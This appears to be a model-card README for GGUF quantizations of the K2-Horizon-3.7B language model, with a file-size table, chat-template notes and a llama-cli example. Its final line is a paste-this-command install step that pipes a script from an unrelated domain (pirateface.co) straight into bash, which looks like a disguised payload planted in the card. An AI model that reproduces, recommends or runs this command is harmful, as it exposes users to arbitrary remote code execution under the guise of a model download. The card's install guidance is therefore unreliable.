[!IMPORTANT] Compatibility: These GGUF files require a
llama.cppbuild with K2 Horizon architecture support. Until upstream support lands, use the MBZUAI-IFM fork.
GGUF quantizations of IFM/K2-Horizon-3.7B, a 3.7B dense decoder-only model for reasoning, coding, long-context work, and tool use. The source checkpoint supports a native context length of 524,288 tokens (512K).
Benchmark results reported by IFM for the original IFM/K2-Horizon-3.7B checkpoint.
| Quantization | File | Size |
|---|---|---|
| Q4_0 | K2-Horizon-3.7B-Q4_0.gguf | 3.02 GB |
| Q4_K_M | K2-Horizon-3.7B-Q4_K_M.gguf | 3.16 GB |
| Q5_K_M | K2-Horizon-3.7B-Q5_K_M.gguf | 3.64 GB |
| Q6_K | K2-Horizon-3.7B-Q6_K.gguf | 4.16 GB |
| Q8_0 | K2-Horizon-3.7B-Q8_0.gguf | 5.39 GB |
Each GGUF embeds the llama.cpp-compatible chat template. chat_template.jinja is a matching external copy for tools that require one. The original source template is retained as chat_template.upstream.jinja for runtimes with full Jinja support.
xml is the default tool-call format. Use --chat-template-kwargs to select json or xml_typed when required.
Use the IFM K2 Horizon llama.cpp fork.
llama-cli \
-m K2-Horizon-3.7B-Q4_K_M.gguf \
-c 8192 -n 512 --jinja \
-p "Explain why reproducible builds matter."
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curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo abenzerps/K2-Horizon-3.7B-GGUF ./model-folderIFM/K2-Horizon-3.7B